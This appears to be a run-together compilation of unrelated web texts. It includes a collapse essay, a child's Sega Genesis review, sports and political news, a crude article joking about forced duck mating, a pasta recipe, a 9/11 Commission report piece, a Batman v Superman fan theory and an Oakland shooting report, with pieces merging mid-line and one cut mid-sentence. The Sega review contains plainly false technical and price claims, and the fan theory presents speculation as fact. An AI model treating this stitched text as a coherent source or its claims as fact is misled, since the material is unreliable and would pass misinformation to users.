Since I wrote that, my worldview has changed considerably. As I’ve explained elsewhere, I no longer believe we have the free will or agency (individually or collectively) to change our innate and enculturated behaviours.
So how does one explain the phenomenon of collapse in light of evolutionary theory? And what does this mean for the future of our species and planet?
It seems to me that cultural collapse is essentially the collapse of order into chaos. It takes an enormous amount of energy (in every sense) to maintain order, so ultimately collapse back into unorder (entropy) is inevitable. The astonishing evolution of a staggeringly complex, highly-ordered, diverse, self-sustained balance of life and environment on Earth was, if you buy Gaia theory, equally inevitable. So at many, many different scales evolution is essentially a lovely, eternal succession of waves of increasing complexity and then falling away (collapse, or devolution) into unordered chaos.
What happens at the point of collapse? There is no longer energy (food, fitness, force etc) to sustain the highly-ordered complexity that has been built up. Behaviours that had evolved over millennia to fit with the rest of the ecosystem and the environment suddenly no longer ‘work’. Is the increased aggression and hoarding of the alphas, the eating of the young and the depression and suicide of the lower-downs in the hierarchy (of rats, or humans) an attempt to enable a small number of alphas to survive once it’s realized (at least subconsciously) that the culture as a whole cannot hold? That’s an interesting theory, but it seems more likely to me that what we’re witnessing is just chaotic behaviour — instincts that evolved for one situation being applied (largely inappropriately and dysfunctionally) in a situation the creature (and the group) had never experienced and were clueless to know how to deal with. It is, in essence, senseless behaviour.
The evidence of financial, commercial, political and social collapse (Dmitry’s first four stages) has never been more obvious or abundant than what we have seen in recent months. What we are seeing is the desperate theft by the rich from the poor on a massive scale (the alpha rats hoarding, using offshore tax havens and buying up land in Hawai’i and New Zealand to escape to when living in the cities is no longer viable).
Mostly what we are seeing, everywhere, from the streets to the centres of power, is unprecedented rage.
We see it in the butchery by machete of nearly a million Rwandans by their neighbours. We have seen it in the staggering and nearly-unquestioned (at the time) cruelty exhibited in concentration camps since the dawn of civilization but increasingly as our human population has soared toward eight billion. We see it in monstrous factory farms where acts of unspeakable confinement and cruelty are meted out on a massive scale away from public scrutiny. We saw it in the multi-millionaire Las Vegas gambling addict/real-estate speculator’s shooting frenzy. We continue to see it in the multi-millionaire New York gambling addict/real-estate speculator’s tauntings on Twitter, while we continue to believe, astonishingly and nonsensically, that neither he nor his equally-deranged Pyongyang counterpart, will actually push the button that will bring civilization to a close much quicker than either economic meltdown or climate change could. And we’re all deranged by this culture.
Meanwhile, the US has more guns than people, many of which are or quickly could be converted to instruments of mass destruction. Our civilization is built (with the best of intentions) on the concentration of wealth and power and the capacity to wield it over those lower in the hierarchy, to keep us civilized, domesticated, to keep us, like the lower-hierarchy rats in the overcrowded cages, obedient, cowering in fear, driven to do as we are told by anxiety and adrenaline, and addicted and medicated the rest of our lives with dopamine-fuelled escapes we call “entertainment”.
This is final-stage collapse. We are just so used to the fear, the oppression, the obscene inequality of wealth and power, the corruption, the incarceration, the constantly but scarcely suppressed rage, that we can’t see it; it’s the only life we have known.
I would suggest that this collapse actually began to occur with the invention (which was essential for our species’ survival during past sudden climate changes that created severe scarcity) of the arrowhead and (what Richard Manning has appropriately called “catastrophic”) agriculture — unnatural patches of monoculture crops and confined animals maintained by constant high-energy interventions (work drudgery). The next essential inventions were settlement and (complex, abstract) language, and voila! — civilization culture. In short, I would suggest that civilization is a fascinating but ultimately unsustainable experiment in managing scarcity. We are not ‘meant’ to be (not naturally adapted to) living that way. And while the span of civilization is only a few millennia (an instant in geological time), since we have known nothing else, we are as ill-equipped to deal with (or prevent) its collapse as the clueless rats faced with sudden unnatural scarcity in their hopeless cages. In Darwinian terms we are not ‘fit’ to cope with it.
When you believe, as I do, that we do not have ‘free will’ to do other than what these bodies we presume to inhabit were going to do anyway, given the circumstances of the moment, what do you tell all the rats scurrying around desperately in the cage, acting more and more dysfunctionally?
You don’t tell them anything. For me, and perhaps for some of you, it is better, and enough, to know, to have made some sense of what is, than to just be bewildered (or disappointed) by everything horrific that’s happening. This is only a theory of course. I’m still anxious about it, hopelessly hopeful about changing it, escaping it. But somehow I feel a bit better with this ghastly theory. This corner of the cage is a little more comfortable, a little quieter, than it might have been otherwise.A Classic Yesteryear, and a Classic Today (Sega Genesis Review)
I'm actually a kid reviewing this, so you kind of have to look at this from a kid's point of view. Specifically, an eleven year-old. Anyhow, the Sega Genesis (Known as the Sega Mega Drive overseas) is a video game console that was released in 1989 in the North American market. It was created to compete against the Super Nintendo, but it also competed against other systems of it's time, such as the Atari XE, and, I guess, also the Game Boy if you want to include that. Now, what exactly makes the Genesis still fun today? Is it the massive library of games? How about the many different personalities (I'll never forget the manly humor in Earthworm Jim or the stubbornness of Sonic the Hedgehog.) ALL of the above and more! This system gave you lots of bang for your buck, because it was expensive. $100? 200? 300? No. 400. But there's actually 2 different models of the Sega Genesis. There's the Normal version, and then there's the High Definition Graphics model. The HD model was actually something that the Super Nintendo didn't have. Also, the doubts among the fans and Sega's campaign came down to one simple fact: The Genesis was 16-bit, and the better selling NES was only 8. But what are bits? Each bit does something special: 1. It improves the graphics. 2. It adds more memory. 3. It enables certain other things, such as save states. The extra 8 bits alone in the system caused Nintendo's share of the market to drop like a damn rock. Let me explain a bit. Originally, Nintendo's share of the market was 90%. But when the Genesis (Armed with it's ever lovable Sonic the Hedgehog) fell into place, Nintendo's share of the market fell to just 35%, a drop of 55%. Eventually Nintendo realized that they finally had an archenemy in town and fired back at Sega with the Super Nintendo, but that's another story altogether. So, is it worth buying? Most definitely. In fact, I don't know an old-school gamer who doesn't have a Sega Genesis, let alone a Super Nintendo as well. So, if you see it complete with everything and in the box, and it's under $350, do yourself a favor and pick it up! It will make your gaming life a whole lot more interesting. The EndRead full reviewMinnesota Wild goaltender Josh Harding is about to begin the fight of his life.
Michael Russo of the Star Tribune reported Wednesday night that Harding has been diagnosed with multiple sclerosis, an incurable autoimmune disease in which the body randomly attacks and eats away the protective lining of his nerves and causes them to scar. It results in problems with balance, fatigue and blurred vision.
Harding received the news approximately a month ago and has begun the process of informing friends and family, including Wild general manager Chuck Fletcher and coach Mike Yeo. Harding told the newspaper he has no plans of retiring.
"I had a couple days where I felt bad for myself, but no more," Harding told Russo. "There's things in life that happen. Sometimes you can't explain it. You deal with it."
Fletcher said, "Josh's competitive fire has led him to a successful career in the NHL and we know he will approach this new battle in the same manner."
Harding began to feel something was wrong in September, when he was experiencing problems with his neck. An MRI exam revealed lesions on his brain, which led to the diagnosis. According to Russo, Harding has been put on an aggressive treatment of medication in order to prevent new lesions and the resulting episodes of "immune system flareup."
Harding, 28, has played parts of six seasons with the Wild, who selected him in the second round (No. 38) of the 2002 NHL Draft. The Regina, Saskatchewan, native set career highs in 2011-12 in games played (34), wins (13) and saves (900).
He has 41 wins, a.916 save percentage and a 2.65 goals-against average in 117 career NHL appearances and was rewarded with a new three-year contract this summer.
There are 25,000 cases of multiple sclerosis diagnosed in the United States every year.
"I don't look at this like I've got to take a new path," Harding said. "This is a little bump in the road. I've had lots in life."Ducks rape so much that their genitals are evolving in rape-specific ways, creating what real scientists are calling a "sexual arms race."
Just The Facts
At least a third of all duck-sex is forced. Females are constantly evolving ways to not get pregnant from rape. Males are constantly evolving ways around these defences All this evolution has given ducks some pretty spectacular genitalia. Vegetarians should not feel bad about eating ducks
Ducks Are After You
Now "Sexual arms race" is a pretty spicy term, but that's exactly what's going on. To say that drakes (male ducks) are out to fuck anything that moves implies a level of fussiness that's simply not there. A Dutch researcher once saw one drake ravage another male's lifeless duck-corpse for seventy-five fucking minutes. They'll hump any species, any gender, anytime. Ducks have a mating ritual scientifically known as "rape flight", which can involve multiple drakes attacking a single lady-duck, often drowning or pecking her to death. Ducks are not nice.
His name is duck, and he's here to fuck (Possibly a girl)
Now lady-ducks, like all animals and most humans, take pregnancy pretty seriously and like to be able to chose who fathers their next generation of sexual predators. Drakes, being surprisingly family orientated for serial rapists, are rarely satisfied with simply knocking their victims down. Thanks to the marvel of evolution (we hope) what this translates to is increasingly elaborate penises and incredibly cryptic vaginas. "Elaborate penises", "cryptic vaginas", once again these aren't our words, it's science. Ladies we know you can grow some pretty magical gardens, but could you say they're "cryptic"?
So where's the clitoris?
How Do They Rape So Well?
Ducks have the avian equivalent of nuclear stockpiling going on in their pants- wait, actually it's a lot closer to the Federation vs. the Borg. The females adapt to the drakes' weapons (like the Borg do) and the drakes keep working to build a bigger, better penis (like the time Picard kept changing the phaser frequency and blew a huge hole in the cube. Remember that?)
Like that but with penises.
Probably the first major development in the history of duck-rape is the fact that they have penises in the first place. Most birds, like 97% of them, ain't got nothing. A rooster, for example, has no cock (which would be like if a cat had no... nevermind). They just have one all-purpose hole that they simply "kiss" their partner's all-purpose hole with to mate. Now this is a quick, easy process if everyone is on board, but when you're forcing the issue it can be pretty tough to line everything up, so the drakes thought ahead and evolved a phallus, and not just any phallus.
This guy has no dick, no dick at all.
Which vertebrate do you think has the biggest unit (by unit we mean phallus, which is fancy talk for dong), relative to his size? A gorilla? An elephant? That guy who laughed at you in the shower that one time at the Y? Those jerks have nothing compared to some ducks. Duck dinks can grow as long their entire bodies, twice as long in some cases, measuring up to seventeen inches. Seventeen is just a number, so to put this in practical terms that's more than twice the size of the pianist in the classic joke (Never heard it? So a man walks into a bar and from pulls out a tiny piano...)
Let's quote a Yale article now! " Waterfowl are distinct in having great diversity among species in the length and ornamentation of the phallus." Ornamentation? Is it bejeweled?
Legitimate scientist Kevin McCracken (real name, presumed brother to Phil) actually said in an interview with National Geographic, "Our best guess is that the birds use [the long penis] as a kind of lasso. The males have to chase the females, and even during copulation the females are trying to escape." What exactly he meant by this is a little unclear. Was he being metaphorical? Did he mean like a lasso that spears you? Was he joking (When your name's McCraken you need to evolve a sense of humour) Or does he really think there are ducks running around, whirling their wieners above their head like hell's version of Sheriff Woody?
Like this but with penises
We may never know. What we do know is the horror doesn't stop there.
The duck phallus isn't just big, it corkscrews. Corkscrews you say? Corkscrews. It twists counter-clockwise, giving it the appearance of a big, fleshy, horrifying drill, which makes sense when you consider that's exactly what it is.
Like we said, elaborate
Vagina Fights Back- Penis Counterpunches! Back and Forth Action!!!
"Wait just a minute!" you might be saying, "You promised us a sexual arms race! So far this has been all cock, all the time!"
Don't you worry, the vaginas are coming up next.
They corkscrew too; the vaginas that is. Now this is might seem counter-intuitive, after all don't pig-parts spiral, allowing their genitals to fit so well they get thirty-minute orgasms? Possibly, but that's not what we're talking about here because duck vaginas spiral the opposite way as the drake penises! The opposite! Have you ever accidentally cross-threaded the lid to a jar of peanut-butter? Didn't you think, "Wow I'm sure glad my penis doesn't have to go through this?"
What marvelous evolutionary ingenuity! What inventive adaption! Surely the penis would have no answer to this?
Clearly you must be new here, of course the penis has an answer, and of course it's like something out of a nightmare. First of all, now get this, the sperm doesn't run down the middle of the penis like it does in other, God-fearing dicks. No, for the ducks it travels to the tip via a grove on the outside of the shaft. Not an enclosed tube, a grove; so the sperm can feel the wind through their hair as they rush towards glory.
Like this but with sperm
We suppose this means that if anything goes wrong partway through then sperm just gets spilled all over everything, causing the worst sort of stains.
Not that this precaution is terribly necessary, because once a drake achieves... union, that penis is like a bad house guest: he's not leaving until he's good and ready. Why is that? In addition to being corkscrewed it is also spiked. Picture Sinbad crossed with Pinhead, now turn that into a penis.
What other horrors could possibly be added to ensure that ducks take home the much coveted, "Most Elaborate Penis" award? How about a feather duster? Their tips come equipped with soft "dusters" to clean off the sperm left from previous entries, and just to generally tidy up the place (Would you want to hang out inside a dusty cervix?)
+
+
Combine these things and then fuck the result and you have a day in the life of a duck.
Vaginas Pull Ahead! Go Vaginas!
What's the vagina's response to all this "ornamentation"? How about false passages, dead ends, and trap doors? We have may have exaggerated the trap doors, but duck vaginas really do have false passages that lead to nowhere, like a smuggler's cove. Imagine this: You're a penis is racing like you stole something down the vaginal passage when you reach a fork in the road? Really? One path leads to the fertile ovaries and the other goes absolutely nowhere. Well not nowhere, but to a sack who's only purpose is to store unwanted sperm so it can be Thandie Newton-ed later.* Can you imagine?
Ducks have the vaginal equivalent of the McAllister residence between their legs! Actually the Winchester Mansion is probably a better comparison, but either way it's nothing you'd want to be inside of without at good map and a flashlight.
As we already said, at least a third of duck-sex is forced, but only an estimated 2% of duck-pregnancies are the results of duck-rape. What the duck does this mean? Right now the vagina is winning, which is good, they're definitely the home team on this one.
So next time you're staring out the window, wishing you could throw off the shackles of humanity and take to the skies free as a bird take a moment and be glad you're not a duck, living a life where rape is so common your anatomy is evolved in a way to make you either a better violator or at least good at not getting pregnant from it.
Also be glad you're not an eagle, those guys don't even have penises.
*This was a bulimia joke, is that how it read?
P.S All joking aside the author of this article has actually witnessed attempted duck rape. A goose with no connection to the victim swam over and chased the attacker off, it was one of the most amazing things he has ever seen.By
When it comes to Italian dishes, besides spaghetti and lasagna and LOVE stuffed shells. I remember years ago buying them frozen in bulk and heating them up individually when I had the craving for one. Now I made a big dish of them because they are delicious, and easy to make and my whole family likes enjoys them every time I make them.
What I like about making stuffed shells with ricotta cheese is you can get creative! I like to add a little spinach to my ricotta cheese mixture because it is the only way I can get my kids to eat spinach. Luckily they have never asked me what the green stuff in the shells is.
If you want to make stuffed shells be sure to print my Stuffed Shells with Ricotta Cheese below:
5 from 7 votes Print Stuffed Shells With Ricotta Cheese Recipe A simple and easy recipes for Stuffed Shells With Ricotta Cheese. Author ThisMomCanCook.com Ingredients 1 pound lean ground beef
1/2 tsp seasoning salt
16 oz marina sauce
12 oz Ricotta cheese
1/4 cup Parmesan cheese
3 cups Mozzarella cheese
1 egg
1 box Jumbo shells 12oz
1 tbsp spinach optional Instructions In a skillet add ground beef and seasoning. Cook until no longer pink and drain. While cooking meat, cook jumbo shells according to package and set aside. Add 1 cup of the marinara sauce to skillet and cook on medium heat for about 2 minutes to heat up and create a thick meat/sauce mixture. Add 1/2 cup marinara sauce to 13x9 baking dish and spread evenly. In a medium bowl, add egg, Ricotta cheese, Parmesan cheese and 2 cups of the Mozzarella cheese. Add spinach to mixture if using it. Stir until blended. Add a spoonful of meat mixture into each shell along with about 1 TBS of cheese mixture. Fill each shell until mixture is gone. Pour remaining marinara sauce over shells and top with the leftover 1 cup of Mozzarella cheese. Cover with foil and bake at 375 degrees for 30 to 35 minutes until cheese is melted.
These are also great to bake when you are making lasagna since they have most of the same ingredients!Stretching to 600 pages and based on the evidence of more than 1,200 witnesses, the commission’s report was meant to be the final word on the atrocity when it was published in July 2004.
The commission spent nearly two years compiling evidence, including previously classified documents, but apparently failed to discover that a group of young Qataris conducted surveillance of possible targets in the weeks before the attacks.
Hotel staff whose concerns about the men’s pilot uniforms and strange behaviour are reported in the cables do not appear to have been interviewed by the original investigators.
The report also contains no details of Mohamed Al Mansoori, the former Los Angeles resident who allegedly helped the Qataris as well as proving support to the 19 hijackers.
This oversight allowed Mr Al Mansoori to remain in the US undetected for several years after the attack, public records indicate, before the FBI obtained intelligence about his possible role.
However, the 9/11 Commission report does allude to suspicions that the hijackers, some of whom arrived in America more than a year before Sept 11, may have been assisted by a “support network of accomplices in the United States” who have never been traced.
Two of the hijackers, Khalid al-Mihdhar and Nawaf al-Hazmi, are known to have spent several months living in California in 2000, because it was judged “a convenient point of entry from Asia and had the added benefit of being far away from the intended target area.”
The report states that they “sought out and found a group of ideologically like-minded Muslims” in San Diego, before departing for “a brief stay in Los Angeles about which we know little”.
Mr Al Mansoori has been linked to addresses in Irvine and Long Beach, both of which are in the Los Angeles metropolitan area.
But investigators failed to prove the support network theory, concluding: “The evidence is thin—simply not there for some cases, more worrisome in others.”
Overall, the 9/11 Commission found that the Sept 11 attacks were orchestrated by Osama bin Laden and Khalid Sheikh Mohammed, the head of al-Qaeda’s military committee who is currently being held in Guantanamo Bay.
It blamed “deep institutional failings” at US intelligence agencies for failing to grasp “the gravity of the threat”.“After an epic debate, Colorado Democrats advanced stricter gun-control measures Friday, ensuring that the state will be held up as an example in a national fight over tougher firearm laws,” denverpost.com reports. Late last night, the Colorado House passed HB 1224 (limiting magazine capacity to 15 rounds) and three other bills (after the jump) by voice vote. After a roll call on Monday, the package will sail through the Democratically-controlled Senate and land on Governor Hicklooper’s desk for signature. The bills passed with Tailgunner Joe’s help. “Vice President Joe Biden [on vacation in the Rocky Mountain State] called four House Democrats to get their take on the debate and to note Colorado’s importance in a national discussion on gun control.” Magazine manufacturer Magpul is now certain to up-stakes and take 700 jobs with them. Also passed...
House Bill 1226
Sponsor:Rep. Claire Levy, D-Boulder
What it would do:Outlaw concealed-weapon permit holders to pack heat in college campus buildings
Status:Received initial approval
House Bill 1228
Sponsor:Rep. Lois Court, D-Denver
What it would do:Require gun customers to pay the costs of their criminal background checks by the Bureau of Investigation (a.k.a., firearms poll tax)
Status:Received initial approval
House Bill 1229
Sponsor:Fields and Rep. Beth McCann, D-Denver
What it would do:Require universal background checks for gun sales or transfers (a.k.a., universal registration)Really. Florida AG Pam Bondi, the woman who loves marriage so much, she's on her third one, is refusing to acknowledge that she lost her countersuit? Instead, she's claiming that court clerks simply get to decide who's worthy of a marriage license. She's a rightwing bigot (or else she cynically plays one on TV) whose real talent is grabbing the spotlight:
U.S. District Judge Robert L. Hinkle ruled New Years Day that all Florida clerks are bound by the U.S. Constitution not to enforce Florida’s gay marriage ban and that any couple seeking a license on Tuesday should receive one.
“The preliminary injunction now in effect thus does not require the Clerk to issue licenses to other applicants,” Hinkle wrote in an order released Thursday afternoon. “But as set out in the order that announced issuance of the preliminary injunction, the Constitution requires the Clerk to issue such licenses.”
“We are thankful that Judge Hinkle agreed with us that the Constitution does not tolerate discrimination and that beginning Tuesday, Jan. 6, all clerks in Florida have an obligation to issue marriage licenses to couples requesting them,” said Howard Simon, executive director of the ACLU of Florida.
Simon said Hinkle’s “injunction has statewide impact because he found the law unconstitutional and therefore, as we have been saying, no public official should be acting in accordance with an unconstitutional provision.”
Florida Attorney General Pam Bondi responded 6 p.m. Thursday: “This office has sought to minimize confusion and uncertainty, and we are glad the Court has provided additional guidance. My office will not stand in the way as clerks of court determine how to proceed.”
“She’s saying look, ‘Judge Hinkle did not tell the clerks that they are required to issue marriage licenses to same-sex couples, however, he told them that they may issue marriage licenses’ and she’s not going to stand in their way of whatever independent decisions they may make,” said David Weinstein, a former assistant Miami-Dade state attorney and assistant U.S. attorney, now in private practice and not involved in the case.
↓ Story continues below ↓
Simon’s response to Bondi: “She is not serving the state of Florida and causing precisely the kind of chaos that this judge has tried to prevent with today’s order. This is the low point in a the performance of an attorney general. Her willful misreading of Hinkle’s order is creating confusion.”August has already walked you through the rest. Now let us together take a walk through the best! The best, according to our preseason projections. It sounds better to leave out that last part, though. Always gotta remember to think about marketing. By the way, here’s a reminder of what we’re doing. It should be easy enough to figure out even without that link, but I just wanted to cover all my bases, which is a baseball expression. Here are the starting rotations, ranked:
Below, the Mets get the coveted #1. Not that they don’t deserve it, but as you’ll see, or as you can see in that plot, the Mets and the Dodgers are tied. So maybe that’s kind of a bummer, because it’s more fun to have ties broken, but this does leave the door open to arguments. Nothing quite as healthy for a person as Internet arguments. Especially about statistical projections of the unknowable future.
Mainly, the right thing to do here is think about tiers, and less about specific ranks. The Mets and Dodgers are separated from third place by more than a full win. There’s more than a win between fifth and sixth, and there’s a win between sixth and seventh. Then there’s one win between eighth and 14th. There’s a half-win between ninth and 14th. Many of these teams are close to one another, so don’t fret too much about how this is organized. Really, don’t fret too much at all, about anything. I know I just encouraged you to argue earlier in this introduction, but I’ve had a change of heart. Don’t: do that. Do: read what follows! Let’s talk about the 15 best rotations, as we see them.
#1 Mets
What the Dodgers [see below] have is an absurd amount of depth. What the Mets have is an absurd amount of front-line talent. The Dodgers are kind of about mixing and matching. The Mets are comparatively stable. The one question is when Wheeler will be healthy and strong enough to slide in for Colon. For now, Colon is a perfectly adequate No. 5, and people are mostly just focused on the first four. Or, if we’re being honest, on the first three.
deGrom has had stretches of looking like the best pitcher in baseball. Harvey has had stretches of looking like the best pitcher in baseball. Syndergaard has had stretches of looking like the best pitcher in baseball. deGrom was outstanding in 2014, then last year he started throwing harder by a mile and a half. Harvey was otherworldly before his surgery, and then last year down the stretch he re-discovered his slider. Syndergaard throws everything 100 miles per hour, unless he’s throwing things 80 miles per hour, and it’s so easy to see how he could blossom into the game’s very best. On pure stuff, no one’s more blessed. He might even be underrated, because of his rotation company.
But there’s no question in my mind that the Mets have three legitimate Number Ones, three legitimate aces. It’s an easy thing to fall in love with, as long as everybody’s healthy. I feel bad for Matz, because as good as he is, he has no prayer of getting his share of attention. I’m not someone who believes that a pitcher’s reputation should be in part dependent on his rotation slot, but Matz is going to be a No. 4, even though he has the ability to play up a couple slots. After people drool over the names in front of him, they’ll be too exhausted to continue. Maybe, as has been known to happen, people will just start taking the known aces for granted, and then Matz will feel more fresh. So, there’s a chance. But maybe I just shouldn’t worry about Matz’s level of praise. He probably just wants to pitch and |
wasn’t leaked at end of TDKR, for this they did a statue to Batman, but not to bruce wyane. Only those Some a little bunch of people who know (they are those who are in symbolic bruce funeral).
There is no problem of characters such as Wonder Woman, Aquaman and others regarding Nolan trilogy because they also do not appear in “Man of steel”. It’s the appearance of Superman publicly that causes the appearance of several meta-humans within that franchise.
Now, let’s go to a probable timeline : TDKR ending ‘til BvS beginning.
Let’s go to a movie timeline :
Nolan creates an easter egg, in kubrick style, at the end of The Dark Knight Rises announcing all DC Universe:
XII=How long is there this universe?
From Batman Begins to TDK has passed years(3,4,5 or 6), we can see the child’s growth of Gordon.In the end of TDK, Batman takes on Hervey dent’s crimes and batman hides for 8 years.He rises in TDKR and during the movie has been 1 Year (look for the passage of the seasons).We have (3,4,5 or 6) + (8) +(1) = 12/13/14 or 15 years. Bruce escapes to Europe and then occurs Man of steel and after BvS. There is a lapse time between the trilogy and these new movies.This can be shown directly or from Trilogy to MOS one part and from MOS to BvS another part.
Kevin jacob (enstars site) speaks that the time lapse total from trilogy as being 7 years, they can consider 4 years in TDK. It would be 4 + 8 + 1 + 7 = 20 years.
Jeremy irons saysin the trailer : “20 years in Gotham and how many good guys are left?”
From Nolan trilogy until new movies were 20 years or something very close to it.
XIII=Suicide squad
It is the sixth movie franchise, but show events before BvS.The film won’t go on big screen before because if it would reveal the whole secret of BvS.
There is no way to know how it will be displayed. So, I will analyze based on comics, trailers, easter eggs and spoilers. But they can show in a different way.
Much of the movie takes place in Gotham ‘cos it’s in the same universe of the Nolan trilogy.
As the film opens the bad guys are already put in jail by Deathstroke (Ben Affleck). The plot comes from that spoiler “the government hates Batman and cannot find him,” it refers to the fugitive batman of nolan trilogy. Amanda waller want to find the original Batman (Bruce Wayne), she has information that during this time batman has cataloged metahumans and its technologies around the world. The government wants the data.
The central villain Suicide squad (the target group) may be bruce wayne (cristian bale).
Another hypothesis is that Joker (Heath Ledger) is the villain, if the character is kept alive, then suicide squad goes after him. In this case, amanda waller would try to get joker first to through him would try to find bruce wayne.
Each villain who make up the suicide squad also has their personal stories and motivations, which will also be used as the fact that they have to meet to hold another member of the group for example.
Lex Luthor also want this data and he has contacted in government through Rick flag (father) who, is corrupt.
XIV= Batman v Superman
There is no way to know how it will be displayed. So, I will analyze based on comics, trailers, easter eggs and spoilers. But they can show in a different way.
– In the comics, Deathstroke (Slade Wilson) has a family (mercenaries) who usually performs the work with him. MOS (after TDKR), Deathstroke was Batman and was the metropolis investigate the case.
– At the time of Zod alien revelation (after TDKR):
– Bruce was refugee and Deathstroke was Batman.He and his family went for metropolis to investigate. With the city being destroyed, Deathstroke ordered his family to take refuge in buildings of wayne enterprises, because he knows bruce.He receives a phone call informing that the buildings of wayne enterprises were also hit.
– Ben Affleck (slade) runs desperate to rubble because his family is there. A simple smoke debris can infect and kill a human, more Deathstroke (slade) is metahuman, But his family dies.
Here also you have two options:
Option 1 : Option 2: The girl had (kind of) 10 years. It has been 7 or 10 years (from MOS to BvS) and today she has around 17-20 years, Rose Wilson became the “Ravager”, played by Jenna Malone. They can also skip this part (with the child being rescued only) and shows ravager already in the adult form played by Jenna Malone ‘cos in some comics, Rose Wilson is the daughter of Slade with another woman ( Lillian Worth not with Adelaine wilson).
– Robin john blake, already crazy, wrote this message at journal to rembember deathstroke(slade wilson) that he failed to save your family.
” Years later from TDKR. Lex Luthor (super-genius) creates a Superman clone (bizarro) and a fake army of worshipers (the red capes) to be led by bizarro. Zod’s body is used as base to receive the cloning and so have a clone in adult form without waiting for the growth phase. Luthor captured Kalel with kryptonite, got his blood and the genetic code of Kryptonians placed by Jorel in MOS (Codex), which enables cloning. Luthor didn’t kill kalel ‘cos he doesn’t know how (kryptonite doesn’t kill kalel).But he defames the hero with the cloned villain and his army while trying to find a scientific way to kill him. If defeat kalel, Luthor will turn hero and reach the presidency ‘cos people think that superman is evil because of MOS and bizarre clone took his place. He also wants data from metahumans who are with Bruce wayne (bale) to form an invincible bodyguard. “
Below, the army of “red capes” kneeling to their leader, Superman clone (bizarro).
In “new 52”, bizarro is created from a Superman cloning process, all funded by lex luthor. The scientist conducting the experiment is the Chinese Dr.Teng. If you look in the trailer, the scientist leading the experiment (BvS) is a Chinese, an obvious reference to the birth of bizarro in “new 52”:
BvS toys again denounced. We see below a superman, but with the head of the bizarro, indicating that the character is in the movie:
Zach snyder also put an easter egg in the Man of steel battle, pointing out that Bizarro will be the villain of next movie.Zod turns Superman’s body and the camera focuses on the Zod’s eye where appears a ‘S’ inverted, the Bizarro symbol.
Bruce Wayne (Bale) has the idea of deceiving luthor in the same way that he’s fooling everyone. For this, Bruce contacts Deathstroke (Slade Wilson) to resume Batman and makes Luthor waste time while Bruce works behind bringing together metahumans and rescuing Superman (kalel).Deathstroke doesn’t want to resume being Batman because of the death of his family and the madness of Robin, but he’s convinced by Wintergreen. Deathstroke creates an armor to fight against the Bizarro. In several other comics characters used a Batman armor and they weren’t Bruce wayne. Here are a few examples, showing Commissioner Gordon with Batman armor in the ‘New 52,’ and Azrael in the ’90s… and finally Deathstroke (Slade) in BvS.
Bruce works with Deathstroke (Slade Wilson) to appear in this huge fight, which is why Deathstroke must give the signal…
The fight starts on the ground and then Ben Affleck goes to the roof to light up the sky with the bat-signal. He is waiting for Bruce Wayne to turn up with a meta-human army. The meta-humans join Deathstroke and defeat Bizarro and the Red Capes.
In most of the comics and animations, Bizzaro fools everyone into thinking that he is Kal-El. Once discovered, his face turns into a monster’s. This can also happen in BvS with him being a ‘beta’ version of Doomsday. With the monster loose, the League needs Kal-El to help them: Bruce, Deathtroke and meta-humans attack the prison where the real Superman is, and Kal-El joins the group. The monster is defeated. After the final battle, Lex is arrested and the League is established. It may be that Deathstroke is a part of this.
Wonder Woman runs research into cloning and Luthor’s experiments, so many things will come from her point of view. In ‘New 52,’ Rose Wilson loses an eye while having contact with kryptonite. Fighting with the clone could even be the way that Deathstroke lost an eye. This all leads to Brainiac being the central villain in the Justice League movie.
ATTENTION:
Just like in the Empire Strikes Back, Batman begins, TDKR, Iron Man 3 and Sixth sense, the plot twist will be revealed at the end of movie (BvS): during the movie the script will fuel the idea that Affleck is Bruce and that BvS / MOS are not connected to the Nolan trilogy, including the use of dreams to confuse the public. The Bizarro also won’t be revealed at first.
Affleck will be called Batman and Irons will be called the ‘Butler’ or ‘Major.’ Irons will also called Affleck, “Master.” After the revelation of this plot twist, their ordinary names will be used.
XV=Final: Answer to trailer’s enigma
ENIGMA SOLUTION : We know that question in the trailer has to do with ‘Outsiders’ comic book where Batman is Deathstroke. Zach snyder, close to that question (?), put a sprayed graffiti on two pillars with the words:
We see the word “Joe”. Below, + we have “KAY” then there is no definite letter, but a slash (/) and then “a” (kay / a).
The second shows “Joe” and only “KA”.
The same terms, but what is it?
The first pillar :
“Joe” is short for “Joseph Wilson,” the “Jericho” the son of Slade Wilson (Deathstroke).
“Kay / a” is surname / name, type “bond / james (James Bond)”. Means “KAYNE / Adeline (Adeline kayne)” or full name “Adeline Kayne wilson”. Slade Wilson’s wife.
The second pillar :
The same terms, “Joe” and he puts only “KA” because the word “KAYNE” can be written KAYNE (Old English) or modern “KANE” without y. In comics appears more this second form, so he just puts the “KA” in the second pillar.This is the family of Deathstroke (Slade) and they always die in comics, in the “new 52” they were killed by north Korea. In this universe probably died in the events of MAN OF STEEL. We can see “Adeline kane ” and “Slade” talking about Jericho in the “Judas Contract”. Jericho is called “joe” equal in sprayed graffiti on BvS trailer:
We will solve all the BvS trailer puzzles while Deathstroke as Batman regrets the death of your family:
For the great public, Batman is the Nolan and commercially is more intelligent to continue this idea to leave and create another realistic universe with another realistic Batman.Deathstroke (Slade Wilson) is considered the greatest character in the DC for new generations and he appears in animations, games, series and products, becoming copied by Stan Lee when he created the “Deadpool” in marvel. Weirdly Slade wasn’t scheduled to appear in “DC universe on big screen” … or else he would be played by a 5th level actor…Played by Ben Affleck he will be a kind of “Iron man” or “Nick Fury” of DC that will use the movie to leverage the character at same level of Superman, Batman and Wonder Woman, which is what Marvel did with the Avengers and Guardians of the Galaxy (previously not as known) to become as famous as Spiderman, X men and fantastic Four.
This thesis was written by Rick,TOTAL SPOILER Editor, Brazilian pop culture specialists.
http://www.twitter.com/totalspoiler
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IMPORTANTE : As already said in thesis, years have passed and nothing drops the thesis. However, from the thesis, the next trailers and photos may use tactics to distract the public about the plot twist. These parts will be properly refuted in the link below, as well as this link is the area for discussions about the thesis in the comments section. Just click on it:
Debate & contra refutação da tese do plot twistPolice kill man who opened fire with rifle in Oakland
A man who fired at residents, cars and police officers in Oakland died at a hospital Friday night hours after being shot by an officer, police said.
The shooter was identified as 32-year-old Jesse Enjaian, who had been living on Las Vegas Avenue for at least two years, neighbors said. His armed frenzy temporarily shut down a nearby section of Interstate 580 and caused the evacuation of one school and the lockdown of another.
Neighbors called police about 9 a.m. to report a man firing a rifle in the 9500 block of Las Vegas Avenue off 98th Avenue and Golf Links Road in Oakland, said Officer Johnna Watson, an Oakland Police Department spokeswoman.
Enjaian, a graduate of UCLA, attended law school at the University of Michigan, where he was investigated for stalking a student, according to court records.
The stalking victim submitted a complaint that Enjaian had a gun and had expressed interest in using it in an “act of mass homicide.”
